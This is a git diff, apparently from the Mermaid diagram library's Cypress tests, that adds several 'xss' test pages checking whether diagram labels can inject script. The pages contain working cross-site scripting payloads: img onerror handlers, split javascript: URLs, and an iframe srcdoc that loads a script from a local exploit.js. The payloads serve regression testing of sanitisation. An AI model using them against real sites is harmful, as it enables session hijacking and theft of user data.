diagram += 'flowchart\n';
diagram += 'A["<ifra';
diagram += "me srcdoc='<scrip";
diagram += 't src=http://localhost:9000/exploit.js>';
diagram += '</scr';
diagram += 'ipt>\'></iframe>"]';
console.log(diagram);
// document.querySelector('#diagram').innerHTML = diagram;
mermaid.render('diagram', diagram, (res) => {
document.querySelector('#res').innerHTML = res;
});
</script>
</body>
</html>

103
cypress/platform/xss5.html Normal file
View File

@@ -0,0 +1,103 @@
<html>
<head>
<link
href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
rel="stylesheet"
/>
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
<style>
body {
/* background: rgb(221, 208, 208); */
/* background:#333; */
font-family: 'Arial';
/* font-size: 18px !important; */
}
h1 { color: grey;}
.mermaid2 {
display: none;
}
.mermaid svg {
/* font-size: 18px !important; */
}
.malware {
position: fixed;
bottom:0;
left:0;
right:0;
height: 150px;
background: red;
color: black;
display: flex;
display: flex;
justify-content: center;
align-items: center;
font-family: monospace;
font-size: 72px;
}
</style>
</head>
<body>
<div>Security check</div>
<div class="flex">
<div id="diagram" class="mermaid"></div>
<div id="res" class=""></div>
<script src="./mermaid.js"></script>
<script>
mermaid.parseError = function (err, hash) {
// console.error('Mermaid error: ', err);
};
mermaid.initialize({
theme: 'forest',
arrowMarkerAbsolute: true,
// themeCSS: '.edgePath .path {stroke: red;} .arrowheadPath {fill: red;}',
logLevel: 0,
state: {
defaultRenderer: 'dagre-wrapper',
},
flowchart: {
// defaultRenderer: 'dagre-wrapper',
nodeSpacing: 10,
curve: 'cardinal',
htmlLabels: true,
},
htmlLabels: true,
// gantt: { axisFormat: '%m/%d/%Y' },
sequence: { actorFontFamily: 'courier', actorMargin: 50, showSequenceNumbers: false },
// sequenceDiagram: { actorMargin: 300 } // deprecated
// fontFamily: '"times", sans-serif',
// fontFamily: 'courier',
fontSize: 18,
curve: 'basis',
securityLevel: 'antiscript',
startOnLoad: false,
secure: ['secure', 'securityLevel', 'startOnLoad', 'maxTextSize'],
// themeVariables: {relationLabelColor: 'red'}
});
function callback() {
alert('It worked');
}
function xssAttack() {
const div = document.createElement('div');
div.id = 'the-malware';
div.className = 'malware';
div.innerHTML = 'XSS Succeeded';
document.getElementsByTagName('body')[0].appendChild(div);
throw new Error('XSS Succeded');
}
var diagram = 'graph LR\n';
diagram += 'B-->D("<img onerror=location=`java';
// diagram += "script\u003aalert\u0028document.domain\u0029\` src=x>\"\);\n";
diagram += 'script\x3a;xssAttack\u0028\u0029` src=x>");\n';
console.log(diagram);
// document.querySelector('#diagram').innerHTML = diagram;
mermaid.render('diagram', diagram, (res) => {
console.log(res);
document.querySelector('#res').innerHTML = res;
});
</script>
</body>
</html>

101
cypress/platform/xss6.html Normal file
View File

@@ -0,0 +1,101 @@
<html>
<head>
<link
href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
rel="stylesheet"
/>
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
<style>
body {
/* background: rgb(221, 208, 208); */
/* background:#333; */
font-family: 'Arial';
/* font-size: 18px !important; */
}
h1 { color: grey;}
.mermaid2 {
display: none;
}
.mermaid svg {
/* font-size: 18px !important; */
}
.malware {
position: fixed;
bottom:0;
left:0;
right:0;
height: 150px;
background: red;
color: black;
display: flex;
display: flex;
justify-content: center;
align-items: center;
font-family: monospace;
font-size: 72px;
}
</style>
</head>
<body>
<div>Security check</div>
<div class="flex">
<div id="diagram" class="mermaid"></div>
<div id="res" class=""></div>
<script src="./mermaid.js"></script>
<script>
mermaid.parseError = function (err, hash) {
// console.error('Mermaid error: ', err);
};
mermaid.initialize({
theme: 'forest',
arrowMarkerAbsolute: true,
// themeCSS: '.edgePath .path {stroke: red;} .arrowheadPath {fill: red;}',
logLevel: 0,
state: {
defaultRenderer: 'dagre-wrapper',
},
flowchart: {
// defaultRenderer: 'dagre-wrapper',
nodeSpacing: 10,
curve: 'cardinal',
htmlLabels: true,
},
htmlLabels: true,
// gantt: { axisFormat: '%m/%d/%Y' },
sequence: { actorFontFamily: 'courier', actorMargin: 50, showSequenceNumbers: false },
// sequenceDiagram: { actorMargin: 300 } // deprecated
// fontFamily: '"times", sans-serif',
// fontFamily: 'courier',
fontSize: 18,
curve: 'basis',
securityLevel: 'antiscript',
startOnLoad: false,
secure: ['secure', 'securityLevel', 'startOnLoad', 'maxTextSize'],
// themeVariables: {relationLabelColor: 'red'}
});
function callback() {
alert('It worked');
}
function xssAttack() {
const div = document.createElement('div');
div.id = 'the-malware';
div.className = 'malware';
div.innerHTML = 'XSS Succeeded';
document.getElementsByTagName('body')[0].appendChild(div);
throw new Error('XSS Succeded');
}
var diagram = 'graph LR\n';
diagram += 'A(<img/src/onerror=xssAttack`1`>)';
// diagram += "script\u003aalert\u0028document.domain\u0029\` src=x>\"\);\n";
console.log(diagram);
// document.querySelector('#diagram').innerHTML = diagram;
mermaid.render('diagram', diagram, (res) => {
console.log(res);
document.querySelector('#res').innerHTML = res;
});
</script>
</body>
</html>

103
cypress/platform/xss7.html Normal file
View File

@@ -0,0 +1,103 @@
<html>
<head>
<link
href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
rel="stylesheet"
/>
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
<style>
body {
/* background: rgb(221, 208, 208); */
/* background:#333; */
font-family: 'Arial';
/* font-size: 18px !important; */
}
h1 { color: grey;}
.mermaid2 {
display: none;
}
.mermaid svg {
/* font-size: 18px !important; */
}
.malware {
position: fixed;
bottom:0;
left:0;
right:0;
height: 150px;
background: red;
color: black;
display: flex;
display: flex;
justify-content: center;
align-items: center;
font-family: monospace;
font-size: 72px;
}
</style>
</head>
<body>
<div>Security check</div>
<div class="flex">
<div id="diagram" class="mermaid"></div>
<div id="res" class=""></div>
<script src="./mermaid.js"></script>
<script>
mermaid.parseError = function (err, hash) {
// console.error('Mermaid error: ', err);
};
mermaid.initialize({
theme: 'forest',
arrowMarkerAbsolute: true,
// themeCSS: '.edgePath .path {stroke: red;} .arrowheadPath {fill: red;}',
logLevel: 0,
state: {
defaultRenderer: 'dagre-d3',
},
flowchart: {
// defaultRenderer: 'dagre-wrapper',
nodeSpacing: 10,
curve: 'cardinal',
htmlLabels: true,
},
htmlLabels: true,
// gantt: { axisFormat: '%m/%d/%Y' },
sequence: { actorFontFamily: 'courier', actorMargin: 50, showSequenceNumbers: false },
// sequenceDiagram: { actorMargin: 300 } // deprecated
// fontFamily: '"times", sans-serif',
// fontFamily: 'courier',
fontSize: 18,
curve: 'basis',
securityLevel: 'antiscript',
startOnLoad: false,
secure: ['secure', 'securityLevel', 'startOnLoad', 'maxTextSize'],
// themeVariables: {relationLabelColor: 'red'}
});
function callback() {
alert('It worked');
}
function xssAttack() {
const div = document.createElement('div');
div.id = 'the-malware';
div.className = 'malware';
div.innerHTML = 'XSS Succeeded';
document.getElementsByTagName('body')[0].appendChild(div);
throw new Error('XSS Succeded');
}
var diagram = 'graph LR\n';
diagram += " B(<a href='<";
diagram += 'script></';
diagram += "script>Javascript:xssAttack`1`'>Click)";
// diagram += "script\u003aalert\u0028document.domain\u0029\` src=x>\"\);\n";
console.log(diagram);
// document.querySelector('#diagram').innerHTML = diagram;
mermaid.render('diagram', diagram, (res) => {
console.log(res);
document.querySelector('#res').innerHTML = res;
});
</script>
</body>
</html>

102
cypress/platform/xss8.html Normal file
View File

@@ -0,0 +1,102 @@
<html>
<head>
<link
href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
rel="stylesheet"
/>
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
<style>
body {
/* background: rgb(221, 208, 208); */
/* background:#333; */
font-family: 'Arial';
/* font-size: 18px !important; */
}
h1 { color: grey;}
.mermaid2 {
display: none;
}
.mermaid svg {
/* font-size: 18px !important; */
}
.malware {
position: fixed;
bottom:0;
left:0;
right:0;
height: 150px;
background: red;
color: black;
display: flex;
display: flex;
justify-content: center;
align-items: center;
font-family: monospace;
font-size: 72px;
}
</style>
</head>
<body>
<div>Security check</div>
<div class="flex">
<div id="diagram" class="mermaid"></div>
<div id="res" class=""></div>
<script src="./mermaid.js"></script>
<script>
mermaid.parseError = function (err, hash) {
// console.error('Mermaid error: ', err);
};
mermaid.initialize({
theme: 'forest',
arrowMarkerAbsolute: true,
// themeCSS: '.edgePath .path {stroke: red;} .arrowheadPath {fill: red;}',
logLevel: 0,
state: {
defaultRenderer: 'dagre-wrapper',
},
flowchart: {
// defaultRenderer: 'dagre-wrapper',
nodeSpacing: 10,
curve: 'cardinal',
htmlLabels: true,
},
htmlLabels: true,
// gantt: { axisFormat: '%m/%d/%Y' },
sequence: { actorFontFamily: 'courier', actorMargin: 50, showSequenceNumbers: false },
// sequenceDiagram: { actorMargin: 300 } // deprecated
// fontFamily: '"times", sans-serif',
// fontFamily: 'courier',
fontSize: 18,
curve: 'basis',
securityLevel: 'antiscript',
startOnLoad: false,
secure: ['secure', 'securityLevel', 'startOnLoad', 'maxTextSize'],
// themeVariables: {relationLabelColor: 'red'}
});
function callback() {
alert('It worked');
}
function xssAttack() {
const div = document.createElement('div');
div.id = 'the-malware';
div.className = 'malware';
div.innerHTML = 'XSS Succeeded';
document.getElementsByTagName('body')[0].appendChild(div);
throw new Error('XSS Succeded');
}
var diagram = 'stateDiagram-v2\n';
diagram += "<img/src='1'/onerror=xssAttack()> --> B";
// diagram += "script\u003aalert\u0028document.domain\u0029\` src=x>\"\);\n";
console.log(diagram);
// document.querySelector('#diagram').innerHTML = diagram;
mermaid.render('diagram', diagram, (res) => {
console.log(res);
document.querySelector('#res').innerHTML = res;
});
</script>
</body>
</html>

102
cypress/platform/xss9.html Normal file
View File

@@ -0,0 +1,102 @@
<html>
<head>
<link
href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
rel="stylesheet"
/>
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
<style>
body {
/* background: rgb(221, 208, 208); */
/* background:#333; */
font-family: 'Arial';
/* font-size: 18px !important; */
}
h1 { color: grey;}
.mermaid2 {
display: none;
}
.mermaid svg {
/* font-size: 18px !important; */
}
.malware {
position: fixed;
bottom:0;
left:0;
right:0;
height: 150px;
background: red;
color: black;
display: flex;
display: flex;
justify-content: center;
align-items: center;
font-family: monospace;
font-size: 72px;
}
</style>
</head>
<body>
<div>Security check</div>
<div class="flex">
<div id="diagram" class="mermaid"></div>
<div id="res" class=""></div>
<script src="./mermaid.js"></script>
<script>
mermaid.parseError = function (err, hash) {
// console.error('Mermaid error: ', err);
};
mermaid.initialize({
theme: 'forest',
arrowMarkerAbsolute: true,
// themeCSS: '.edgePath .path {stroke: red;} .arrowheadPath {fill: red;}',
logLevel: 0,
state: {
defaultRenderer: 'dagre-d3',
},
flowchart: {
// defaultRenderer: 'dagre-wrapper',
nodeSpacing: 10,
curve: 'cardinal',
htmlLabels: true,
},
htmlLabels: true,
// gantt: { axisFormat: '%m/%d/%Y' },
sequence: { actorFontFamily: 'courier', actorMargin: 50, showSequenceNumbers: false },
// sequenceDiagram: { actorMargin: 300 } // deprecated
// fontFamily: '"times", sans-serif',
// fontFamily: 'courier',
fontSize: 18,
curve: 'basis',
securityLevel: 'antiscript',
startOnLoad: false,
secure: ['secure', 'securityLevel', 'startOnLoad', 'maxTextSize'],
// themeVariables: {relationLabelColor: 'red'}
});
function callback() {
alert('It worked');
}
function xssAttack() {
const div = document.createElement('div');
div.id = 'the-malware';
div.className = 'malware';
div.innerHTML = 'XSS Succeeded';
document.getElementsByTagName('body')[0].appendChild(div);
throw new Error('XSS Succeded');
}
var diagram = 'stateDiagram-v2\n';
diagram += "<img/src='1'/onerror=xssAttack()> --> B";
// diagram += "script\u003aalert\u0028document.domain\u0029\` src=x>\"\);\n";
console.log(diagram);
// document.querySelector('#diagram').innerHTML = diagram;
mermaid.render('diagram', diagram, (res) => {
console.log(res);
document.querySelector('#res').innerHTML = res;
});
</script>
</body>
</html>

View File

@@ -16,10 +16,7 @@
// // `config` is the resolved Cypress config
// }
let percyHealthCheck = require("@percy/cypress/task");
module.exports = (on, config) => {
// `on` is used to hook into various events Cypress emits
// `config` is the resolved Cypress config
on("task", percyHealthCheck);
};
};

View File

@@ -24,4 +24,4 @@
// -- This is will overwrite an existing command --
// Cypress.Commands.overwrite("visit", (originalFn, url, options) => { ... })
import '@percy/cypress'
import '@percy/cypress';

View File

@@ -14,7 +14,8 @@
// ***********************************************************
// Import commands.js using ES2015 syntax:
import './commands'
import './commands';
import '@percy/cypress';
// Alternatively you can use CommonJS syntax:
// require('./commands')